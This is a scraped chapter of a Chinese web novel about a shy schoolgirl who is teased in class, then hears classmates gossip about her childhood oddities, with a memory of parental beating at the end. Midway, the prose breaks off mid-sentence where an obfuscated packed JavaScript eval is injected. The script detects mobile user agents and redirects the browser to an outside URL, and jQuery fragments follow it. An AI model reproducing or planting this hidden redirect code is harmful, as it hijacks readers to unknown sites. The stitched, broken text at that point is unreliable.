19. 被背后说闲话

作品:《被催婚后下楼重逢真命

    现在回想起来,当时已经基本上放弃了对他的暗恋,毕竟,合照铁证如山。


    想到这里,她脸上浮现出自嘲的笑容。


    那段时间,为了把注意力从他身上转移走,她不仅整个人都扑在了功课上,闲暇也一刻不闲,踊跃参加美术社的所有活动。


    在美术社,她沉浸在悄无声息的失恋中,根本没觉察画室里有几个人。


    除了坐在旁边的蔡晓籁。


    蔡晓籁肤色微黑,留着厚沉沉的刘海,显得有点儿阴沉。


    所以,在美术社第一次活动,大家组队时,她成了被挑剩下的那个。


    赵必珲很熟悉那种感受,便主动和她搭讪。


    很快,熟悉后发现她相当话痨,时刻不停地聊着《银魂》、《混沌武士》、《凉宫春日的消失》等等等等。


    而且画得非常好,尤其喜欢画二次元美女,甚至还给赵必珲画了幅速写。


    赵必珲看着草稿纸上自己,那下垂眼,纤长的睫毛,紧闭的失落的嘴角,都惟妙惟俏,不免展颜一笑。


    “看你最近心情不好呢?”蔡晓籁问。


    因为蔡晓籁在隔壁班,应该不熟悉21班,于是赵必珲坦言:“啊,我的暗恋宣告失败了。”


    “哇,是《好想告诉你》呢,所以你是表白被拒了?”


    “没有,我没有说过。”


    “那为什么说失败了?”


    “因为,他和别的女生,嗯,合照了。”


    “二人合照?”


    “也不是。”


    “这就算是失败了?你们三次元真复杂,搞不懂。”她摇摇头。


    赵必珲沉默下来,细想确实,所以自己还有那么点儿机会?


    “对了,温臻学长要退社了。”蔡晓籁又说。


    “嗯?为什么?”


    “马上高三了,要把精力都用在高考上吧。”


    “也是。”


    或许我也应该把精力都用在高考上了。


    “好可惜,学长人这么好。”身后两个女生听见她们的闲聊,附和上来,


    “对啊,经常请我们吃零食。”


    “你是来画画的还是吃零食的?”


    她回忆起刚进美术社时。


    做了很久的心理建设才敢走进画室,但当满屋子的陌生人的视线都射过来时,还是瞬间呼吸停滞,整个人格外局促。


    是温臻上来招待她,周到得体,又不是失了分寸的热情,简直称得上是“如沐春风”。


    她不由得放松下来。


    她学着温臻的样子,接纳了蔡晓籁。


    女生开始讨论给温臻送什么告别礼物。


    她计划这周末去美院周边的画材店挑一挑。


    一边想着蔡晓籁的话,一边走进晚自习的教室。


    那时学生间的八卦总是传得格外快。


    起哄大军很快扩张。


    比如早自习,需要挑选两名英语领读,一般都是自告奋勇,这时若是有一对正处于暧昧阶段的上台,那读书声中总是夹杂着起哄。


    或者晚自习前,照例有每组轮流上台开小班会,或娱乐消遣或动员打气。每次一对中一人上台,观众都会吵嚷着另一个也上台一起表演。


    于是,在这次五组组织的班会上,戴黛上去准备作一个加油小演讲,还未开口,下面就有人起哄:


    “怎么就你一个,让费琼斯也上去讲讲呗。”


    不少人附和。


    赵必珲只觉得嘴里发苦,默默喝了一口滚水。


    韩余朗刚起身去接水,所以也站在讲台边,听见起哄,用不大不小的声音调笑:“真的假的?我可看见有次费琼斯和赵必珲在电影院里聊天,费琼斯笑得可开心了。”


    戴黛发出一声:“啊?”


    因为费琼斯竟然会笑这件事过于惊悚,观众的重点迅速转移到赵必珲身上。


    突如其来之间,她根本不知道如何面对众人的视线,明明清楚自己也没做错什么,但就是呼吸停滞,脸颊通红,一句话也说不出来。


    耳边轰鸣着秦歌王的忿忿:“靠,赵必珲?你什么眼光?”


    费琼斯依旧是如湖泊般静谧,只是深处泛起零星不明所以的气泡。


    周遭也响起将两个女孩进行外貌对比的窃窃私语。


    在校园里,外向活泼会跳舞总会获得更多喜爱,而那些内向不善交际的难免无趣。


    也是人之常情。


    可是,仅仅因为内向,凭什么要受到这样的歧视。


    一瞬间,她像是回到了幼儿园。


    她一个人站在操场边缘,面对其他孩子的“你好奇怪我们不跟你玩”,也是这样,一句话也说不出来。


    泪水啪嗒一声滴到了卷子上。


    坏了,她心想,为这点事哭鼻子,真的好没出息。


    忽然之间,如同从天而降,冯宛粲一拍桌子站起来:


    “他是什么绫波丽么?笑一笑也值得上新闻,他还对我笑过,是不是也喜欢我?”


    教室里传来哄笑。


    “冯宛粲你可真自恋。”丁安通嘲弄。


    冯宛粲丝毫不羞怯,理直气壮回怼:“我不自恋,我恋你啊?”


    如此落落大方不卑不亢让一众歧视瞬间没了底气,加上这一闹,上课铃也响了,所有人还是回归做题正业,只当是个无伤大雅的插曲。


    冯宛粲头一昂,一屁股坐下,瞪了秦歌王一眼,又推搡了下赵必珲。


    “没必要啊,下次再敢我再骂。”


    从模糊的泪水中看向冯宛粲,赵必珲觉得她简直像是被圣光笼罩一般。


    她是她的救世主。


    戴黛在台上呆愣一会儿,许久,老师进来时她才想起下台。


    这节是活阎王数学老师的课,教室里安安静静,没人敢作妖。


    赵必珲甚至觉得这样的氛围救了她一命。


    下课铃声从来没有这样刺耳难听。


    英语老师决定下节课放电影《国王的演讲》,大家纷纷涌进小卖部买零食,教室里几乎空空荡荡。


    冯宛粲叫她去,她因为要发生物作业,只好谢绝。


    起身时,迎面而来一组的纪律委员王梓晴。


    王梓晴和戴黛交好,看电影的课可以随意换位,她趁下课去坐在戴黛身边。


    擦肩而过时,她似乎感受到了王梓晴的视线。


    那是一种熟悉的,投向异类的视线。


    等她抱着作业准备走回教室时,却听见五组传来犹如刮擦黑板一般的嘁嘁嚓嚓。


    “哇,刚才可真精彩~”王梓晴的声音。


    “冯宛粲这人真的,我还是挺佩服她的。”沈倩如嬉笑着。


    “你说费琼斯真的喜欢那谁啊?”王梓晴问。


    “怎么可能!”秦歌王格外愤懑。


    “这有什么不可能的。”戴黛闷闷不乐,“她又不丑。”


    金文焕:“你比她好多了。”


    敷衍又空泛的安慰,能有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890734|159159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么力度,于是秦歌王开口:“好吧,你们别以为她现在正常,我以前和她同校,她以前就是个怪胎。”


    赵必珲周身的血液几乎停止了。


    他们瞬间来了兴趣。


    “什么?这平时还看不出来呢。”


    “对啊,伪装得好呗。在幼儿园的时候就是众所周知的怪胎。老师让玩拍手游戏,她死活不参加,让参加就大哭;整天都是一个人跑到操场上看蚂蚁,和谁都不说话;甚至有次玩失踪,被老师找了半天,最后发现蹲在操场角落,老师问她在干啥,你们猜她怎么回答的?”


    “怎么回答?”


    “她说她是一只抽水马桶。”


    一刹那,爆发出匪夷所思的笑声。


    和当初一模一样的笑声。


    “不会吧?可能是小孩子幼稚。”沈倩如有些不相信。


    “我骗你做什么?”秦歌王来了兴致,“还不止呢,三年级时有次表演节目女生要穿裙子,她中途硬是要把裙子换了,搞得整个班的表演都差点耽误了。她说裙子在扎她,你说是不是精神病?”


    “可能是裙子材质不好吧?”沈倩如说。


    “喂,你干嘛老为她说话啊!”秦歌王被反驳,老大不高兴。


    “就是。”王梓晴应该也白了她一眼。


    “我只是说可能......”沈倩如估计看出氛围的紧张,讪讪说,“好吧好吧,我不说了。”


    秦歌王还不满意:“行行行,你们可能觉得这没什么,她初中时候的事可就找不到借口了。”


    “什么?”


    “她人品有问题。”


    “诶?”


    她知道她现在应该进去,用最愤怒的语气质问秦歌王,但她就是难以做到,过去不行,现在依旧不行。


    整个人都变为一个风蚀的雕塑,无法动弹,无法流泪。


    像是又穿上了三年级那件劣质蕾丝连衣裙。


    周身虫噬的刺痛。


    忽然,鼻腔里出现了清冽的琴弦气息,稍微唤醒了她麻木的神经。


    “你要帮忙么?”


    是费琼斯的声音。


    他手上拿着一包话梅糖,指着生物作业。


    她不知道点没点头,但他还是分去一叠作业。


    看着他走进教室,忽然身后被人一扑。


    “你杵这干嘛呢?”


    冯宛粲笑着,推着她进去。


    费琼斯刚走进教室,五组瞬间鸦雀无声,都默默看向他。


    戴黛首先发话:“你拿的什么?”


    “话梅糖。”费琼斯低头发作业。


    “是生物作业。”王梓晴叫起来。


    秦歌王正欲开嘲,上课铃响了。


    没发完,他把作业堆放在自己桌子上。


    英语老师进来,关上灯,开始放电影。


    一片漆黑中,屏幕下方他的剪影像一个缺口,一个她永远难以弥合的缺口。


    电影里,口吃的国王害怕当众演讲。


    她不禁回想起小学时第一节课,家长们受邀观看,老师让大家去讲台上作自我介绍。


    其他孩子都能或大方或羞涩地完成任务。


    唯独她,在被老师叫上讲台之后,看着一屋子人的眼睛,她、大脑一片空白,发抖咬到了舌头,惊恐中直接冲出了教室。


    不同的是电影里的国王有鼓励他的家人,帮助他的老师。


    她只有因为觉得丢脸回家后把她小腿打出血痕的李思梅。